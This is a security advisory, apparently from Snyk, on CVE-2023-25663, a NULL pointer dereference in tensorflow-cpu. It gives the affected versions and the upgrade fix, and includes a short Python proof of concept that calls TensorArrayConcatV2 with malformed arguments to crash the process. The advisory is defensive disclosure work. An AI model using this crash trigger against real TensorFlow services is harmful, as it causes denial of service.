NULL Pointer Dereference Affecting tensorflow-cpu package, versions [,2.11.1) [2.12.0rc0,2.12.0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.09% (40th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-TENSORFLOWCPU-3373007
- published 26 Mar 2023
- disclosed 26 Mar 2023
- credit Yu Tian
Introduced: 26 Mar 2023
CVE-2023-25663 Open this link in a new tabHow to fix?
Upgrade tensorflow-cpu
to version 2.11.1, 2.12.0 or higher.
Overview
tensorflow-cpu is a machine learning framework.
Affected versions of this package are vulnerable to NULL Pointer Dereference. When ctx->step_containter()
is a null ptr, the Lookup
function will be executed with a null pointer.
PoC
import tensorflow as tf
tf.raw_ops.TensorArrayConcatV2(handle=['a', 'b'], flow_in = 0.1, dtype=tf.int32, element_shape_except0=1)
References
CVSS Scores
version 3.1